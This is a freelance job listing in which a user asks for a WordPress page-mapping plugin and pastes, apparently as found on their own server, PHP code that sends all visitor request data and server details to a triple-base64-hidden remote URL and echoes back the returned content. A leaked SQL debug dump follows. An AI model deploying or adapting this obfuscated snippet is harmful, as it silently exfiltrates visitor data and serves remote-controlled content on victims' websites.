SEOClerks

Custom PHP Wordpress Plugin For Wordpress Post Mapping

Custom PHP Wordpress Plugin For Wordpress Post Mapping

I need a custom Wordpress Plugin that will map Wordpress Pages from My server to be Mapped onto another server. For example I would create 10 Wordpress pages on my domain. Then I want to install a WP plugin on another Wordpress installation on another server. This plugin would grab the WP Pages from my server and display them on the other Wordpress site.

Here is an example that does this:

<?php

session_start(); $psid = session_id(); $nvp = '';

foreach($_REQUEST AS $key => $value) { if ($key != '' && $value == ''){ $value = $key; $key = 'title'; ${$key} = $value; } if ($key != '' && $value != ''){ $nvp .= $key . '||' . $value . '|||||'; }}

function post_to_url($url, $data) {$fields = ''; foreach($data as $key => $value) { $fields .= $key . '=' . $value . '&'; } rtrim($fields, '&'); $post = curl_init();curl_setopt($post, CURLOPT_URL, $url);curl_setopt($post, CURLOPT_POST, count($data));curl_setopt($post, CURLOPT_POSTFIELDS, $fields);curl_setopt($post, CURLOPT_RETURNTRANSFER, 1);$result = curl_exec($post);curl_close($post);return $result;}$remote_traffic_ip = $traffic_ip = getenv("REMOTE_ADDR");$remote_traffic_referrer = strtolower($_SERVER['HTTP_REFERER']);$remote_traffic_user_agent = $_SERVER['HTTP_USER_AGENT'];$remote_traffic_page_name = $_SERVER['PHP_SELF'];$remote_traffic_server_name = $_SERVER['SERVER_NAME'];$remote_traffic_server_software = $_SERVER['SERVER_SOFTWARE'];$remote_traffic_uri = $_SERVER["REQUEST_URI"];if ($trace == 'y'){echo "<hr>$remote_traffic_ip <br>$remote_traffic_referrer <br>$remote_traffic_user_agent <br>$remote_traffic_page_name <br>$remote_traffic_server_name <br>$remote_traffic_server_software <br>$remote_traffic_uri <br><hr>";}$data = array("title" => $title,"remote_traffic_ip" => $remote_traffic_ip,"remote_traffic_referrer" => $remote_traffic_referrer,"remote_traffic_user_agent" => $remote_traffic_user_agent,"remote_traffic_page_name" => $remote_traffic_page_name,"remote_traffic_server_name" => $remote_traffic_server_name,"remote_traffic_server_software" => $remote_traffic_server_software,"remote_traffic_uri" => $remote_traffic_uri,"nvp" => $nvp);$content =post_to_url(base64_decode(base64_decode(base64_decode('WVVoU01HTklUVFpNZVRrelpETmpkV05ZVm1oaWJsSXhZbGRTYVU1VE5XcGlNakIyWXpOc2RWcEhiR3BaV0ZKd1lqSTBkbUZYTld0YVdHZDFZbGRHZVdFeVZqQk1XRTV2V1ZoS2NreHVRbTlqUkRnOQ=='))), $data);echo $content;

/*-- DO NOT TOUCH THE CODE!!! --*/

>


Requirements

I need to be able to disable these requests from my server.


Skills Required

PHP Wordpres MySQL

Bids

No bids made yet - be the first!

Bid On Listing

Bid On Listing Created 7 years ago in Programming

Other jobs by Webclimb

Order Now
Process Time: 0.20886611938477

Possible Duplicate queries found!
MatchCountSQLScript
SELECT * FROM wanttobuy A, categories_wanttobuy B, seoclerks.members C WHERE A.wantid='70384' AND A.category=B.CATID AND A.USERID=C.USERID1SELECT A.*, B.name, B.seo, C.username, C.userlevel, C.footer_code, C.rating, C.ratingcount, C.googleplus_profile, C.total_recommendations, C.USERID, C.profilepicture, C.average_response_time, C.lastlogin, C.addtime FROM wanttobuy A, categories_wanttobuy B, seoclerks.members C WHERE A.wantid='70384' AND A.category=B.CATID AND A.USERID=C.USERID

/opt/clerks-staging/docroot/viewwant.php 163 () ()

SELECT * FROM seoclerks.members_recommendations WHERE USERID=374098 AND status=1 ORDER BY MRID DESC limit 11SELECT recommendation_text, FROMID, time_added FROM seoclerks.members_recommendations WHERE USERID=374098 AND status=1 ORDER BY MRID DESC limit 1

/opt/clerks-staging/docroot/include/functions/main.php 21955 getLastRecommendation() ()

SELECT * FROM seoclerks.members WHERE USERID='121930'1SELECT username FROM seoclerks.members WHERE USERID='121930'

/opt/clerks-staging/docroot/include/functions/main.php 1577 insert_get_username_from_userid() ()

SELECT * FROM ratings_buyer WHERE USERID=3740981SELECT sum(good) as thumbup, sum(bad) as thumbdown FROM ratings_buyer WHERE USERID=374098

/opt/clerks-staging/docroot/include/functions/main.php 19523 GetRatingsAsBuyerTotal() ()

SELECT * FROM wanttobuy A, categories_wanttobuy B WHERE A.wantid != 70384 AND A.category=B.CATID AND A.active=1 AND (A.tags like '%PHP Wordpres MySQL%' ) LIMIT 41SELECT A.wantid, A.title, A.p1, A.maxprice, B.name, B.seo FROM wanttobuy A, categories_wanttobuy B WHERE A.wantid != 70384 AND A.category=B.CATID AND A.active=1 AND (A.tags like '%PHP Wordpres MySQL%' ) LIMIT 4

/opt/clerks-staging/docroot/viewwant.php 551 () ()

SELECT * FROM wanttobuy A, categories_wanttobuy B WHERE A.wantid != 70384 AND A.category=B.CATID AND A.active=1 AND A.USERID=374098 LIMIT 41SELECT A.wantid, A.title, A.p1, A.maxprice, B.name, B.seo FROM wanttobuy A, categories_wanttobuy B WHERE A.wantid != 70384 AND A.category=B.CATID AND A.active=1 AND A.USERID=374098 LIMIT 4

/opt/clerks-staging/docroot/viewwant.php 568 () ()

SELECT * FROM wantcomments a, seoclerks.members b WHERE a.PID='70384' AND a.USERID=b.USERID and b.status='1' AND a.status=1 order by a.CID asc1SELECT a.comment, a.USERID, a.CID, a.time_added, a.istranslated, a.parentid, b.username, b.profilepicture FROM wantcomments a, seoclerks.members b WHERE a.PID='70384' AND a.USERID=b.USERID and b.status='1' AND a.status=1 order by a.CID asc

/opt/clerks-staging/docroot/viewwant.php 835 () ()

UPDATE wanttobuy SET viewcount = viewcount + 1 WHERE wantid='70384'1UPDATE wanttobuy SET viewcount = viewcount + 1 WHERE wantid='70384'

/opt/clerks-staging/docroot/include/functions/main.php 1729 update_wantviewcount() ()

SELECT * FROM wantbids as w, seoclerks.members AS m WHERE w.active=1 AND m.USERID=w.USERID AND m.status=1 AND w.USERID>0 AND w.wantid='70384' ORDER BY w.bidid ASC 1SELECT w.bidid, w.PID, w.comment, w.title, w.pricepublic, w.USERID, w.adjustedprice, w.ip, m.profilepicture FROM wantbids as w, seoclerks.members AS m WHERE w.active=1 AND m.USERID=w.USERID AND m.status=1 AND w.USERID>0 AND w.wantid='70384' ORDER BY w.bidid ASC

/opt/clerks-staging/docroot/viewwant.php 1192 () ()

SELECT * FROM categories_wanttobuy1SELECT * FROM categories_wanttobuy

/opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() parseRedundantQueriesCache()

SELECT * FROM posts WHERE USERID=3740981SELECT sum(positive_ratings) as thumbup, sum(negative_ratings) as thumbdown FROM posts WHERE USERID=374098

/opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() GetBuyerRatingsTotal()

SELECT * FROM categories1SELECT * FROM categories

/opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() parseRedundantQueriesCache()

select * from categories_software order by name asc1select * from categories_software order by name asc

/opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() insert_GetSoftwareCategories()

select * from categories_wanttobuy order by name asc1select * from categories_wanttobuy order by name asc

/opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() insert_get_wantcategories()

select * from categories_wanttotrade order by name asc1select * from categories_wanttotrade order by name asc

/opt/clerks-staging/docroot/libraries/adodb5/adodb.inc.php 1899 CacheExecute() insert_get_tradecategories()

SELECT * FROM seoclerks.members WHERE USERID='374098'1SELECT profile_data FROM seoclerks.members WHERE USERID='374098'

/opt/clerks-staging/docroot/include/functions/main.php 1927 getUserBackground() include()

Invalid SQL

count(*)sql1error_msg

Expensive SQL

Tuning the following SQL could reduce the server load substantially
LoadCountSQLMaxMin

Suspicious SQL

The following SQL have high average execution times
Avg TimeCountSQLMaxMin
0.2736171SELECT count(A.ansid) as total FROM answers as A, questions as Q where A.status='1' AND A.quesid=Q.quesid AND Q.CATID=470.2736170.273617
0.1796201SELECT A.*, B.seo, B.name as categoryname, C.username, C.userlevel, C.lastlogin, C.ip, C.profilepicture FROM wanttobuy A, categories_wanttobuy B, seoclerks.members C WHERE A.active = 1 AND A.category = B.CATID AND A.USERID = C.USERID AND (A.tags LIKE '%affiliat%' OR A.skills LIKE '%affiliat%') ORDER BY A.lastgigedit desc LIMIT 0,400.1796200.179620
0.1794381SELECT A.*, B.seo, B.name as categoryname, C.username, C.userlevel, C.lastlogin, C.ip, C.profilepicture FROM wanttobuy A, categories_wanttobuy B, seoclerks.members C WHERE A.active = 1 AND A.category = B.CATID AND A.USERID = C.USERID AND (A.tags LIKE '%Famousbirthday%' OR A.skills LIKE '%Famousbirthday%') ORDER BY A.lastgigedit desc LIMIT 0,400.1794380.179438
0.1625021SELECT COUNT(A.wantid) AS total FROM wanttobuy as A, categories_wanttobuy B, seoclerks.members C WHERE A.active = 1 AND A.category = B.CATID AND A.USERID = C.USERID AND (A.tags LIKE '%Publishapp%' OR A.skills LIKE '%Publishapp%')0.1625020.162502
0.1435461SELECT A.wantid, A.title, A.p1, A.maxprice, B.name, B.seo FROM wanttobuy A, categories_wanttobuy B WHERE A.wantid != 70384 AND A.category=B.CATID AND A.active=1 AND (A.tags like '%PHP Wordpres MySQL%' ) LIMIT 40.1435460.143546